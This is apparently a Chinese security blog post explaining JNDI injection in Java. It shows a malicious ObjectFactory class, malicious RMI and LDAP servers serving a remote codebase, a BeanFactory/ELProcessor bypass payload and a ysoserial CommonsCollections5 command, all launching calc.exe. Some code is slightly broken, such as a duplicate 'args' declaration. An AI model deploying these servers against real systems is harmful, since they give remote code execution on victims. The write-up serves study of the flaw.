0x00 RMI的Demo
关于什么远程方法的调用,什么RMI的协议,哎,只要会用就行了,而且好多大佬前面写过各种JRMP,RMI之类的文章,重点我这里想看看这个lookup函数到底是怎么去加载这个远程类和本地类的。
上Demo,本地JDK环境为1.8.0_201:
远程调用的恶意类:
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
{
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"clac.exe"};
Process pc = rt.exec(commands);
System.out.println("123");
pc.waitFor();
} catch (Exception e) {
}
}
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc.exe"};
Process pc = rt.exec(commands);
System.out.println("123");
pc.waitFor();
} catch (Exception e) {
}
}
public Calc() {
try {
System.out.println("123");
Runtime rt = Runtime.getRuntime();
Process pc = rt.exec("calc.exe");
pc.waitFor();
} catch (Exception e) {
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
try {
System.out.println("123");
Runtime rt = Runtime.getRuntime();
Process pc = rt.exec("calc.exe");
pc.waitFor();
} catch (Exception e) {
}
return null;
}
}
rmi服务端实现类:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class listener {
public static void main(String[] args) throws AlreadyBoundException {
try {
System.setProperty("java.rmi.server.hostname","192.168.154.131");
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc","Calc","http://192.168.154.131:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello",refObjWrapper);
} catch (RemoteException | NamingException e) {
e.printStackTrace();
}
}
}
rmi客户端(受害服务端)调用的实现类:
import javax.naming.Context;
import javax.naming.InitialContext;
public class demo{
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
String uri = "rmi://192.168.154.131:1099/hello";
Context ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
}
}
加载效果:
恶意服务器启动HTTP服务
注意启动的目录为恶意类所在的目录
恶意服务器(rmi服务端)启动监听
rmi客户端请求恶意类加载
恶意类加载完成
0x01 恶意类加载的原因
blackHat的议题上说问题出在了NamingManager类的getObjectFactoryFromReference方法上
那就试试看,到底能不能找到这个方法,跟进lookup方法的源码:
看InitialContext类的getURLOrDefaultInitCtx方法中的NamingManager.getURLContext的源码
name传入到了lookup方法中,接着跟进getURLOrDefaultInitCtx
跟进NamingManager的getURLContext方法:
跟进getURLObject方法:
跟进getObjectInstance方法
Nice,终于在不满足各个条件不满足的情况下找到了getObjectFactoryFromReference
在这里,完成了远程恶意类的加载。
0x02 LDAP攻击类型的Demo
public class Ldap {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
String[] args = new String[]{"http://127.0.0.1:8081/#Calc", "9999"};
int port = 0;
if (args.length < 1 || args[0].indexOf('#') < 0) {
System.err.println(Ldap.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
System.exit(-1);
} else if (args.length > 1) {
port = Integer.parseInt(args[1]);
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"), port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
受害服务器(rmi客户端)的实现类:
public class demo{
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
String uri = "ldap://192.168.154.129:9999/calc";
Context ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
}
}
启动LDAP服务端与恶意类服务器
启动JNDI客户端
恶意类加载成功
为什么LDAP可以实现远程类加载的效果,因为LDAP可以描述一个对象。
0x03 使用本地类进行攻击的Demo
Java高版本对Java远程类加载进行了限制,具体的版本为:
既然无法加载外部类,但是还有内部类可以利用,比如org.apache.naming.factory.BeanFactory,为什么使用这个类:
跟进一下InitialContext类->lookup方法->NamingManager类getURLOrDefaultInitCtx方法->NamingManager类getURLContext方法-> NamingManager类getURLObject方法,发现这个方法中先得到一个ObjectFactory的对象,并且这个对象有getObjctInstance方法
那就需要找到本地的一个继承自ObjectFactory的类,并且它含有getObjectInstance方法。
看下org.apache.naming.factory.BeanFactory类的作用,它是创建beans时所使用的。
可以看到所使用的类,必须具有无参的构造函数,和只具有一个String参数的方法。
而且第三张图片中假定说传入forceString的值为x=eval,诶,这就有意思了,得到这个字符串中“=”的位置,然后把这个方法名给个拿到,Nice
最终对forced这个HashMap将propName与paramTypes值put
然后去getMethod propName,接着进行反射,相当于执行
这是伪代码:
Class cls = Class.forName(“javax.el.ELProcessor”);
Object ob = cls.getConstructor().newInstance();
eval.invoke(ob,”el表达式需要执行的内容”);
接着进行反射。
那么之前使用这个机制的大佬就找到了javax.el.Process,而且里面正好存在执行el表达式的eval方法。那怎说呢,看下大佬们的恶意rmi是怎么构造的,JDK高版本虽然不让远程加载类,但并没有说不能远程提供类信息,而且还是使用的内部类,这个时候,提供类名,方法名,传入方法的参数值,就可以进行本地方法调用了。
恶意的RMI构造如下:
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
在这里我遇到一个问题:没有考虑到类之间的继承关系,导致我每次搞这个东西,都是败兴而归,大力出奇迹,当我把Tomcat8.5的所有类包导入到类环境当中的时候,搞定了,之前没有类包一直报错。
参照大佬的博客:
https://www.pianshen.com/article/87941420471/
有时候无法利用内部类,还可以返回一段序列化字段,这段序列化字段可以被rmi客户端进行序列化。
0x04 LDAP返回序列化字段进行JNDI高版本绕过
这里假设目标存在一个反序列化的漏洞库,比如CC链,然后使用工具生成一段BASE64编码的序列化数据,当程序进行反序列化之后,触发CC链。
这里参考大佬的一个LDAP服务器:
https://blog.csdn.net/weixin_44063566/article/details/88897261
先使用ysoserial.jar生成CC链的poc,java -jar ysoserial.jar CommonsCollections5 calc.exe > poc.txt
然后使用Java程序将其转化为base64编码,因为base64不乱码,直接生成的poc文件时乱码的。
替换到LDAP服务器中的序列化代码
然后客户端访问LDAP服务器:
触发:
参考链接:
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
来源:freebuf.com 2020-08-27 18:44:39 by: 水木逸轩con






























